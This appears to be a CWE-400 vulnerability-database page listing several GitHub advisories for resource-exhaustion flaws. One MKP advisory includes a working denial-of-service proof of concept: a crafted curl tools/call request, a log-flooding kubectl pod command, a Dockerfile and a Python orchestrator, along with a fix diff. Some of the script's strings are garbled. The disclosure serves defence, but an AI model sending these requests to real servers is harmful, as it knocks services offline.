Common Weakness Enumeration

CWE-400

Discouraged

Uncontrolled Resource Consumption

Abstraction: Class · Status: Draft

API response cwe.mitre.org

The product does not properly control the allocation and maintenance of a limited resource.

5423 vulnerabilities reference this CWE, most recent first.

GHSA-QVWQ-HWX3-6297

Vulnerability from github – Published: 2022-05-13 01:09 – Updated: 2022-05-13 01:09
VLAI
Details

The SCTP socket buffer used by a userspace application is not accounted by the cgroups subsystem. An attacker can use this flaw to cause a denial of service attack. Kernel 3.10.x and 4.18.x branches are believed to be vulnerable.

Severity
6.5 (Medium)
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2019-3874"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-03-25T19:29:00Z",
    "severity": "MODERATE"
  },
  "details": "The SCTP socket buffer used by a userspace application is not accounted by the cgroups subsystem. An attacker can use this flaw to cause a denial of service attack. Kernel 3.10.x and 4.18.x branches are believed to be vulnerable.",
  "id": "GHSA-qvwq-hwx3-6297",
  "modified": "2022-05-13T01:09:33Z",
  "published": "2022-05-13T01:09:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-3874"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuApr2021.html"
    },
    {
      "type": "WEB",
      "url": "https://usn.ubuntu.com/3982-2"
    },
    {
      "type": "WEB",
      "url": "https://usn.ubuntu.com/3982-1"
    },
    {
      "type": "WEB",
      "url": "https://usn.ubuntu.com/3981-2"
    },
    {
      "type": "WEB",
      "url": "https://usn.ubuntu.com/3981-1"
    },
    {
      "type": "WEB",
      "url": "https://usn.ubuntu.com/3980-2"
    },
    {
      "type": "WEB",
      "url": "https://usn.ubuntu.com/3980-1"
    },
    {
      "type": "WEB",
      "url": "https://usn.ubuntu.com/3979-1"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20190411-0003"
    },
    {
      "type": "WEB",
      "url": "https://lore.kernel.org/netdev/20190401113110.GA20717@hmswarspite.think-freely.org/T/#u"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2020/09/msg00025.html"
    },
    {
      "type": "WEB",
      "url": "https://discuss.kubernetes.io/t/kubernetes-security-announcement-linux-kernel-memory-cgroups-escape-via-sctp-cve-2019-3874/5594"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2019-3874"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=1686373"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2019-3874"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:3517"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:3309"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-QVWR-CJPF-5R7R

Vulnerability from github – Published: 2024-07-09 18:30 – Updated: 2024-07-09 18:30
VLAI
Details

Windows Online Certificate Status Protocol (OCSP) Server Denial of Service Vulnerability

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-38068"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-07-09T17:15:39Z",
    "severity": "HIGH"
  },
  "details": "Windows Online Certificate Status Protocol (OCSP) Server Denial of Service Vulnerability",
  "id": "GHSA-qvwr-cjpf-5r7r",
  "modified": "2024-07-09T18:30:52Z",
  "published": "2024-07-09T18:30:52Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-38068"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-38068"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-QVXQ-CWR5-42FQ

Vulnerability from github – Published: 2025-06-10 18:32 – Updated: 2025-06-10 18:32
VLAI
Details

Uncontrolled resource consumption in Windows Standards-Based Storage Management Service allows an unauthorized attacker to deny service over a network.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-33068"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-06-10T17:22:51Z",
    "severity": "HIGH"
  },
  "details": "Uncontrolled resource consumption in Windows Standards-Based Storage Management Service allows an unauthorized attacker to deny service over a network.",
  "id": "GHSA-qvxq-cwr5-42fq",
  "modified": "2025-06-10T18:32:29Z",
  "published": "2025-06-10T18:32:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-33068"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-33068"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-QW3X-HP2H-3HCQ

Vulnerability from github – Published: 2024-03-21 18:32 – Updated: 2026-04-28 15:30
VLAI
Details

Uncontrolled Resource Consumption vulnerability in David Artiss Code Embed.This issue affects Code Embed: from n/a through 2.3.6.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-49837"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-03-21T17:15:07Z",
    "severity": "MODERATE"
  },
  "details": "Uncontrolled Resource Consumption vulnerability in David Artiss Code Embed.This issue affects Code Embed: from n/a through 2.3.6.",
  "id": "GHSA-qw3x-hp2h-3hcq",
  "modified": "2026-04-28T15:30:41Z",
  "published": "2024-03-21T18:32:03Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-49837"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Plugin/simple-embed-code/vulnerability/wordpress-embed-code-plugin-2-3-6-denial-of-service-attack-vulnerability?_s_id=cve"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/simple-embed-code/wordpress-embed-code-plugin-2-3-6-denial-of-service-attack-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-QW55-M3PM-VWHH

Vulnerability from github – Published: 2022-05-24 16:44 – Updated: 2022-05-24 16:44
VLAI
Details

An issue was discovered in OWASP ModSecurity Core Rule Set (CRS) through 3.1.0. /rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf allows remote attackers to cause a denial of service (ReDOS) by entering a specially crafted string with set_error_handler# at the beginning and nested repetition operators.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2019-11390"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-185",
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-04-21T02:29:00Z",
    "severity": "MODERATE"
  },
  "details": "An issue was discovered in OWASP ModSecurity Core Rule Set (CRS) through 3.1.0. /rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf allows remote attackers to cause a denial of service (ReDOS) by entering a specially crafted string with set_error_handler# at the beginning and nested repetition operators.",
  "id": "GHSA-qw55-m3pm-vwhh",
  "modified": "2022-05-24T16:44:02Z",
  "published": "2022-05-24T16:44:02Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-11390"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SpiderLabs/owasp-modsecurity-crs/issues/1358"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SpiderLabs/owasp-modsecurity-crs/issues/1372"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-QW5R-PPCG-F8RJ

Vulnerability from github – Published: 2026-07-14 18:09 – Updated: 2026-07-14 18:09
VLAI
Summary
MKP: Unbounded Pod Log Read via Attacker-Controlled `limitBytes`/`tailLines` Causes Memory Exhaustion
Details

Unbounded Pod Log Read via Attacker-Controlled limitBytes/tailLines Causes Memory Exhaustion

Summary

The MKP (Model Context Protocol for Kubernetes) server exposes a get_resource MCP tool that proxies Kubernetes pod log requests. User-supplied limitBytes and tailLines parameters are parsed as unbounded int64 values and forwarded directly to the Kubernetes API. The server then reads the entire returned log stream into an in-memory bytes.Buffer using io.Copy without any application-side size cap. A remote unauthenticated attacker can exploit this to exhaust the MKP server's memory by sending a single crafted tools/call request, leading to process termination (OOM kill) and denial of service. Dynamic reproduction confirmed the MKP process RSS grew from 25.8 MB to 1,179.3 MB (+1,153.4 MB) while handling one request with limitBytes=134217728.

Details

The vulnerability exists in pkg/k8s/subresource.go in the buildPodLogOpts() and defaultGetPodLogs() functions.

Source — unbounded parameter parsing (pkg/k8s/subresource.go:171–181):

// pkg/k8s/subresource.go
defaultLimitBytes := int64(32 * 1024) // 32 KB — only used when parameters map is nil
...
if limitBytes, ok := parameters["limitBytes"]; ok {
    if b, err := strconv.ParseInt(limitBytes, 10, 64); err == nil {
        podLogOpts.LimitBytes = &b  // no upper-bound check
    }
}
if tailLines, ok := parameters["tailLines"]; ok {
    if lines, err := strconv.ParseInt(tailLines, 10, 64); err == nil {
        podLogOpts.TailLines = &lines  // no upper-bound check
    }
}

When the parameters map is non-nil (always true for attacker-supplied input), buildPodLogOpts() is called at pkg/k8s/subresource.go:94–96 and overwrites the 32 KB default entirely. The attacker can therefore supply any positive int64 value (up to 2147483647 or 9223372036854775807) as limitBytes.

Sink — unbounded in-memory copy (pkg/k8s/subresource.go:114–115):

buf := new(bytes.Buffer)
_, err = io.Copy(buf, podLogs)  // entire Kubernetes stream copied into RAM

The stream from Kubernetes is read without limit into a heap-allocated bytes.Buffer. Subsequent JSON serialisation and MCP response wrapping create additional copies, meaning the actual RSS increase is a multiple of the raw log size (observed: ~9×).

Attack path (source → sink):

Step Location Description
1 cmd/server/main.go:30 Server binds to :8080 on all interfaces; no authentication by default
2 pkg/mcp/server.go:131 NewGetResourceTool() registered unconditionally (no --read-write required)
3 pkg/mcp/get_resource.go:28–38 Attacker-controlled parameters map parsed from CallToolRequest
4 pkg/mcp/get_resource.go:76 client.GetResource(..., parameters) called
5 pkg/k8s/subresource.go:32–33 resource=pods + subresource=logs routes into getPodLogs
6 pkg/k8s/subresource.go:171–181 limitBytes / tailLines parsed without upper bound (source)
7 pkg/k8s/subresource.go:114–115 io.Copy(buf, podLogs) loads full stream into bytes.Buffer (sink)

The rate limiter (pkg/ratelimit/config.go:16–17) caps only request frequency (120 req/min) and places no limit on per-request data volume, providing no meaningful mitigation.

Suggested remediation:

+const (
+    maxPodLogTailLines  int64 = 1000
+    maxPodLogLimitBytes int64 = 1024 * 1024  // 1 MB hard cap
+)
+
 buf := new(bytes.Buffer)
-_, err = io.Copy(buf, podLogs)
+limitedLogs := &io.LimitedReader{R: podLogs, N: maxPodLogLimitBytes + 1}
+_, err = io.Copy(buf, limitedLogs)
+if limitedLogs.N == 0 {
+    return nil, fmt.Errorf("pod logs exceed maximum size of %d bytes", maxPodLogLimitBytes)
+}

 if limitBytes, ok := parameters["limitBytes"]; ok {
     if b, err := strconv.ParseInt(limitBytes, 10, 64); err == nil {
+        if b <= 0 || b > maxPodLogLimitBytes {
+            b = maxPodLogLimitBytes
+        }
         podLogOpts.LimitBytes = &b
     }
 }
 if tailLines, ok := parameters["tailLines"]; ok {
     if lines, err := strconv.ParseInt(tailLines, 10, 64); err == nil {
+        if lines <= 0 || lines > maxPodLogTailLines {
+            lines = maxPodLogTailLines
+        }
         podLogOpts.TailLines = &lines
     }
 }

PoC

Prerequisites

  • Docker (for self-contained reproduction)
  • A running Kubernetes cluster with a pod whose logs are large (for real-environment testing)
  • MKP server accessible on port 8080

Option A — Self-contained Docker reproduction (Phase 2 method)

This method uses a mock Kubernetes API that streams 128 MB of log data:

# 1. Clone the repository and enter it
git clone https://github.com/StacklokLabs/mkp.git
cd mkp

# 2. Build the Docker image (build context is the repo root; Dockerfile is in vuln-001/)
docker build -t mkp-vuln-001 -f vuln-001/Dockerfile .

# 3. Run the exploit container — output includes RSS measurements
docker run --rm mkp-vuln-001

Expected output (condensed):

Initial RSS:  26464 kB  ( 25.8 MB)
t+01s: MKP RSS =  383080 kB  ( 374.1 MB)  [in-progress]
t+02s: MKP RSS =  683876 kB  ( 667.8 MB)  [in-progress]
t+03s: MKP RSS =  945008 kB  ( 922.9 MB)  [in-progress]
t+06s: MKP RSS = 1207560 kB  (1179.3 MB)  [in-progress]
Peak RSS: 1207572 kB (1179.3 MB)
Delta RSS: 1181108 kB (1153.4 MB)
VERDICT: CONFIRMED — RSS grew 1153.4 MB (limitBytes=128 MB)

Option B — Real Kubernetes environment (manual)

# 1. Build and start MKP server (default transport: streamable-http on :8080)
git clone https://github.com/StacklokLabs/mkp.git && cd mkp
task build
./build/mkp-server --kubeconfig=/path/to/kubeconfig

# 2. Create a pod that generates large logs
kubectl -n default run logbomb --image=busybox --restart=Never -- \
    sh -c 'yes AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'

# Wait ~30 seconds for logs to accumulate, then:

# 3. Send the exploit request
curl -sS http://127.0.0.1:8080/mcp \
    -H 'Content-Type: application/json' \
    -H 'Accept: application/json, text/event-stream' \
    --data '{
      "jsonrpc": "2.0",
      "id": 1,
      "method": "tools/call",
      "params": {
        "name": "get_resource",
        "arguments": {
          "resource_type": "namespaced",
          "group": "",
          "version": "v1",
          "resource": "pods",
          "namespace": "default",
          "name": "logbomb",
          "subresource": "logs",
          "parameters": {
            "tailLines": "999999999",
            "limitBytes": "2147483647"
          }
        }
      }
    }'

Expected observation: MKP process RSS grows rapidly during request handling. With sufficiently large logs or concurrent requests, the process is OOM-killed and the MCP endpoint becomes unavailable.

Impact

This is an unauthenticated remote Denial of Service (DoS) vulnerability affecting any deployment of MKP server accessible over the network.

Who is impacted:

  • Any operator running mkp-server in its default configuration (no --read-write flag required; get_resource is registered by default on :8080 without authentication).
  • Kubernetes clusters whose namespaces contain pods with large accumulated logs (e.g., kube-system workloads in production clusters almost always satisfy this condition).
  • Downstream consumers of the MCP interface who rely on MKP for cluster observability; an attacker can make the entire MKP service unavailable.

A single tools/call request is sufficient to trigger the condition. Because the rate limiter does not cap per-request data volume, even the 120 req/min limit provides no protection: one request with limitBytes=2147483647 (~2 GB) will exhaust memory before any subsequent requests are needed.

No authentication, special privileges, or pre-existing access beyond network reachability of port 8080 is required.

Reproduction artifacts

Dockerfile

# ── Stage 1: Build mkp-server ─────────────────────────────────────────────────
FROM golang:1.25 AS builder

# GOTOOLCHAIN=local prevents Go from trying to download a newer toolchain
# matching the go 1.25.5 directive in go.mod; any Go 1.25.x is sufficient.
ENV GOTOOLCHAIN=local
ENV CGO_ENABLED=0

WORKDIR /src

# Copy the source tree (build con = parent of vuln-001/)
COPY repo/ .

RUN go build -o /mkp-server ./cmd/server

# ── Stage 2: Runtime ─────────────────────────────────────────────────────────
FROM python:3.12-slim

RUN apt-get update && \
 apt-get install -y --no-install-recommends procps curl && \
 rm -rf /var/lib/apt/lists/*

COPY --from=builder /mkp-server /usr/local/bin/mkp-server

COPY vuln-001/mock_k8s_api.py /workspace/mock_k8s_api.py
COPY vuln-001/kubeconfig.yaml /workspace/kubeconfig.yaml
COPY vuln-001/exploit.py /workspace/exploit.py
COPY vuln-001/entrypoint.sh /workspace/entrypoint.sh

RUN chmod +x /workspace/entrypoint.sh

CMD ["/workspace/entrypoint.sh"]

poc.py

#!/usr/bin/env python3
"""
VULN-001 Dynamic Reproduction Orchestrator.

Build: docker build -t mkp-vuln-001 -f vuln-001/Dockerfile .
Run  : docker run --rm mkp-vuln-001

Evidence criterion: MKP RSS grows by ≥ 50 MB while processing a single
tools/call request with limitBytes=134217728 (128 MB), proving that
defaultGetPodLogs() performs an unbounded io.Copy into bytes.Buffer.
"""
import json
import os
import re
import subprocess
import sys
from pathlib import Path

WORK_DIR = Path(__file__).parent.resolve()
REPO_ROOT = WORK_DIR.parent
IMAGE = "mkp-vuln-001"
BUILD_CMD = f"docker build -t {IMAGE} -f vuln-001/Dockerfile ."
RUN_CMD   = f"docker run --rm {IMAGE}"


# ─────────────────────────────────────────────────────────────────────────────
def run_streaming(cmd: str, cwd=None) -> tuple[int, str]:
    """Run a shell command, stream its output, and return (rc, full_output)."""
    proc = subprocess.Popen(
        cmd, shell=True,
        stdout=subprocess.PIPE, stderr=subprocess.STDOUT,
        text=True, cwd=cwd,
    )
    lines = []
    for line in proc.stdout:
        print(line, end='', flush=True)
        lines.append(line)
    proc.wait()
    return proc.returncode, ''.join(lines)


def save_result(result: dict):
    path = WORK_DIR / 'phase2_result.json'
    with open(path, 'w', encoding='utf-8') as f:
        json.dump(result, f, ensure_ascii=False, indent=2)
    print(f"\n[poc] Result saved → {path}")


def parse_evidence(output: str) -> dict:
    ev: dict = {}
    m = re.search(r'Initial RSS\s*:\s*(\d+)', output)
    if m:
        ev['initial_kb'] = int(m.group(1))
        ev['initial_mb'] = ev['initial_kb'] / 1024

    m = re.search(r'Peak RSS\s*:\s*(\d+)', output)
    if m:
        ev['peak_kb'] = int(m.group(1))
        ev['peak_mb'] = ev['peak_kb'] / 1024

    m = re.search(r'Delta RSS\s*:\s*(\d+)\s*kB\s*\(([0-9.]+)\s*MB\)', output)
    if m:
        ev['delta_kb'] = int(m.group(1))
        ev['delta_mb'] = float(m.group(2))
    elif 'peak_kb' in ev and 'initial_kb' in ev:
        ev['delta_kb'] = ev['peak_kb'] - ev['initial_kb']
        ev['delta_mb'] = ev['delta_kb'] / 1024

    m = re.search(r'VERDICT:\s*(CONFIRMED|INCONCLUSIVE)[^\n]*', output)
    if m:
        ev['verdict_line'] = m.group(0)

    return ev


def extract_evidence_block(output: str) -> str:
    """Return the EVIDENCE SUMMARY block, or the last 3000 chars."""
    m = re.search(r'={10,}\nEVIDENCE SUMMARY.*?={10,}', output, re.DOTALL)
    if m:
        return m.group(0)[:3000]
    return output[-3000:]


# ─────────────────────────────────────────────────────────────────────────────
def main():
    print("=" * 60)
    print("VULN-001: Unbounded Pod Log Read — Dynamic Reproduction")
    print("=" * 60)

    os.chdir(REPO_ROOT)

    # ── Docker build ──────────────────────────────────────────────────────────
    print(f"\n[poc] Building Docker image…\n[poc] {BUILD_CMD}\n")
    rc, build_output = run_streaming(BUILD_CMD)
    if rc != 0:
        reason = f"Docker build failed (exit {rc}). text error: {build_output[-800:]}"
        save_result({
            "passed": False,
            "verdict": "FAIL",
            "reason": reason,
            "build_command": BUILD_CMD,
            "run_command": RUN_CMD,
            "poc_command": "python3 vuln-001/poc.py",
            "evidence": build_output[-2000:],
            "artifacts": ["Dockerfile", "poc.py"],
        })
        print(f"\n[poc] FAIL: {reason}")
        return False

    print("\n[poc] Build OK.")

    # ── Docker run ────────────────────────────────────────────────────────────
    print(f"\n[poc] Running exploit container…\n[poc] {RUN_CMD}\n")
    rc, run_output = run_streaming(f"{RUN_CMD} 2>&1")
    print(f"\n[poc] Container exited (code={rc})")

    ev = parse_evidence(run_output)
    delta_mb = ev.get('delta_mb', 0.0)
    print(f"[poc] Parsed evidence: {ev}")

    # ── Verdict ───────────────────────────────────────────────────────────────
    passed = delta_mb >= 50.0

    if passed:
        verdict = "PASS"
        init_mb = ev.get('initial_mb', 0)
        peak_mb = ev.get('peak_mb', 0)
        reason = (
            f"MKP server RSStext {init_mb:.1f} MB → {peak_mb:.1f} MBtext {delta_mb:.1f} MB increasedone. "
            f"the attacker limitBytes=134217728 (128 MB)text tools/call requesttext containswhentextcharacters "
            f"pkg/k8s/subresource.go:114-115text io.Copy(buf, podLogs)text limit text "
            f"bytes.Buffertext 128 MB text streamtext beforetext text thattext dynamicas confirmed."
        )
    else:
        verdict = "INCOMPLETE"
        reason = (
            f"RSS text {delta_mb:.1f} MB — 50 MB criteria text. "
            f"possibletext cause: MCP session initialization failure, 30seconds texttext timeout text exit, "
            f"or Mock API response textreached. container logs text 500characters: {run_output[-500:]}"
        )

    result = {
        "passed": passed,
        "verdict": verdict,
        "reason": reason,
        "build_command": BUILD_CMD,
        "run_command": RUN_CMD,
        "poc_command": "python3 vuln-001/poc.py",
        "evidence": extract_evidence_block(run_output),
        "artifacts": ["Dockerfile", "poc.py"],
    }
    save_result(result)

    print(f"\n[poc] {'PASS' if passed else 'INCOMPLETE'}: {reason}")
    return passed


if __name__ == '__main__':
    ok = main()
    sys.exit(0 if ok else 1)
Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/StacklokLabs/mkp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.4.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-50125"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-14T18:09:48Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Unbounded Pod Log Read via Attacker-Controlled `limitBytes`/`tailLines` Causes Memory Exhaustion\n\n### Summary\n\nThe MKP (Model Context Protocol for Kubernetes) server exposes a `get_resource` MCP tool that proxies Kubernetes pod log requests. User-supplied `limitBytes` and `tailLines` parameters are parsed as unbounded `int64` values and forwarded directly to the Kubernetes API. The server then reads the entire returned log stream into an in-memory `bytes.Buffer` using `io.Copy` without any application-side size cap. A remote unauthenticated attacker can exploit this to exhaust the MKP server\u0027s memory by sending a single crafted `tools/call` request, leading to process termination (OOM kill) and denial of service. Dynamic reproduction confirmed the MKP process RSS grew from 25.8 MB to 1,179.3 MB (+1,153.4 MB) while handling one request with `limitBytes=134217728`.\n\n### Details\n\nThe vulnerability exists in `pkg/k8s/subresource.go` in the `buildPodLogOpts()` and `defaultGetPodLogs()` functions.\n\n**Source \u2014 unbounded parameter parsing (`pkg/k8s/subresource.go:171\u2013181`):**\n\n```go\n// pkg/k8s/subresource.go\ndefaultLimitBytes := int64(32 * 1024) // 32 KB \u2014 only used when parameters map is nil\n...\nif limitBytes, ok := parameters[\"limitBytes\"]; ok {\n    if b, err := strconv.ParseInt(limitBytes, 10, 64); err == nil {\n        podLogOpts.LimitBytes = \u0026b  // no upper-bound check\n    }\n}\nif tailLines, ok := parameters[\"tailLines\"]; ok {\n    if lines, err := strconv.ParseInt(tailLines, 10, 64); err == nil {\n        podLogOpts.TailLines = \u0026lines  // no upper-bound check\n    }\n}\n```\n\nWhen the `parameters` map is non-nil (always true for attacker-supplied input), `buildPodLogOpts()` is called at `pkg/k8s/subresource.go:94\u201396` and overwrites the 32 KB default entirely. The attacker can therefore supply any positive `int64` value (up to `2147483647` or `9223372036854775807`) as `limitBytes`.\n\n**Sink \u2014 unbounded in-memory copy (`pkg/k8s/subresource.go:114\u2013115`):**\n\n```go\nbuf := new(bytes.Buffer)\n_, err = io.Copy(buf, podLogs)  // entire Kubernetes stream copied into RAM\n```\n\nThe stream from Kubernetes is read without limit into a heap-allocated `bytes.Buffer`. Subsequent JSON serialisation and MCP response wrapping create additional copies, meaning the actual RSS increase is a multiple of the raw log size (observed: ~9\u00d7).\n\n**Attack path (source \u2192 sink):**\n\n| Step | Location | Description |\n|------|----------|-------------|\n| 1 | `cmd/server/main.go:30` | Server binds to `:8080` on all interfaces; no authentication by default |\n| 2 | `pkg/mcp/server.go:131` | `NewGetResourceTool()` registered unconditionally (no `--read-write` required) |\n| 3 | `pkg/mcp/get_resource.go:28\u201338` | Attacker-controlled `parameters` map parsed from `CallToolRequest` |\n| 4 | `pkg/mcp/get_resource.go:76` | `client.GetResource(..., parameters)` called |\n| 5 | `pkg/k8s/subresource.go:32\u201333` | `resource=pods` + `subresource=logs` routes into `getPodLogs` |\n| 6 | `pkg/k8s/subresource.go:171\u2013181` | `limitBytes` / `tailLines` parsed without upper bound (source) |\n| 7 | `pkg/k8s/subresource.go:114\u2013115` | `io.Copy(buf, podLogs)` loads full stream into `bytes.Buffer` (sink) |\n\nThe rate limiter (`pkg/ratelimit/config.go:16\u201317`) caps only request frequency (120 req/min) and places no limit on per-request data volume, providing no meaningful mitigation.\n\n**Suggested remediation:**\n\n```diff\n+const (\n+    maxPodLogTailLines  int64 = 1000\n+    maxPodLogLimitBytes int64 = 1024 * 1024  // 1 MB hard cap\n+)\n+\n buf := new(bytes.Buffer)\n-_, err = io.Copy(buf, podLogs)\n+limitedLogs := \u0026io.LimitedReader{R: podLogs, N: maxPodLogLimitBytes + 1}\n+_, err = io.Copy(buf, limitedLogs)\n+if limitedLogs.N == 0 {\n+    return nil, fmt.Errorf(\"pod logs exceed maximum size of %d bytes\", maxPodLogLimitBytes)\n+}\n\n if limitBytes, ok := parameters[\"limitBytes\"]; ok {\n     if b, err := strconv.ParseInt(limitBytes, 10, 64); err == nil {\n+        if b \u003c= 0 || b \u003e maxPodLogLimitBytes {\n+            b = maxPodLogLimitBytes\n+        }\n         podLogOpts.LimitBytes = \u0026b\n     }\n }\n if tailLines, ok := parameters[\"tailLines\"]; ok {\n     if lines, err := strconv.ParseInt(tailLines, 10, 64); err == nil {\n+        if lines \u003c= 0 || lines \u003e maxPodLogTailLines {\n+            lines = maxPodLogTailLines\n+        }\n         podLogOpts.TailLines = \u0026lines\n     }\n }\n```\n\n### PoC\n\n**Prerequisites**\n\n- Docker (for self-contained reproduction)\n- A running Kubernetes cluster with a pod whose logs are large (for real-environment testing)\n- MKP server accessible on port 8080\n\n---\n\n**Option A \u2014 Self-contained Docker reproduction (Phase 2 method)**\n\nThis method uses a mock Kubernetes API that streams 128 MB of log data:\n\n```bash\n# 1. Clone the repository and enter it\ngit clone https://github.com/StacklokLabs/mkp.git\ncd mkp\n\n# 2. Build the Docker image (build context is the repo root; Dockerfile is in vuln-001/)\ndocker build -t mkp-vuln-001 -f vuln-001/Dockerfile .\n\n# 3. Run the exploit container \u2014 output includes RSS measurements\ndocker run --rm mkp-vuln-001\n```\n\nExpected output (condensed):\n\n```\nInitial RSS:  26464 kB  ( 25.8 MB)\nt+01s: MKP RSS =  383080 kB  ( 374.1 MB)  [in-progress]\nt+02s: MKP RSS =  683876 kB  ( 667.8 MB)  [in-progress]\nt+03s: MKP RSS =  945008 kB  ( 922.9 MB)  [in-progress]\nt+06s: MKP RSS = 1207560 kB  (1179.3 MB)  [in-progress]\nPeak RSS: 1207572 kB (1179.3 MB)\nDelta RSS: 1181108 kB (1153.4 MB)\nVERDICT: CONFIRMED \u2014 RSS grew 1153.4 MB (limitBytes=128 MB)\n```\n\n---\n\n**Option B \u2014 Real Kubernetes environment (manual)**\n\n```bash\n# 1. Build and start MKP server (default transport: streamable-http on :8080)\ngit clone https://github.com/StacklokLabs/mkp.git \u0026\u0026 cd mkp\ntask build\n./build/mkp-server --kubeconfig=/path/to/kubeconfig\n\n# 2. Create a pod that generates large logs\nkubectl -n default run logbomb --image=busybox --restart=Never -- \\\n    sh -c \u0027yes AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\u0027\n\n# Wait ~30 seconds for logs to accumulate, then:\n\n# 3. Send the exploit request\ncurl -sS http://127.0.0.1:8080/mcp \\\n    -H \u0027Content-Type: application/json\u0027 \\\n    -H \u0027Accept: application/json, text/event-stream\u0027 \\\n    --data \u0027{\n      \"jsonrpc\": \"2.0\",\n      \"id\": 1,\n      \"method\": \"tools/call\",\n      \"params\": {\n        \"name\": \"get_resource\",\n        \"arguments\": {\n          \"resource_type\": \"namespaced\",\n          \"group\": \"\",\n          \"version\": \"v1\",\n          \"resource\": \"pods\",\n          \"namespace\": \"default\",\n          \"name\": \"logbomb\",\n          \"subresource\": \"logs\",\n          \"parameters\": {\n            \"tailLines\": \"999999999\",\n            \"limitBytes\": \"2147483647\"\n          }\n        }\n      }\n    }\u0027\n```\n\n**Expected observation:** MKP process RSS grows rapidly during request handling. With sufficiently large logs or concurrent requests, the process is OOM-killed and the MCP endpoint becomes unavailable.\n\n### Impact\n\nThis is an **unauthenticated remote Denial of Service (DoS)** vulnerability affecting any deployment of MKP server accessible over the network.\n\n**Who is impacted:**\n\n- Any operator running 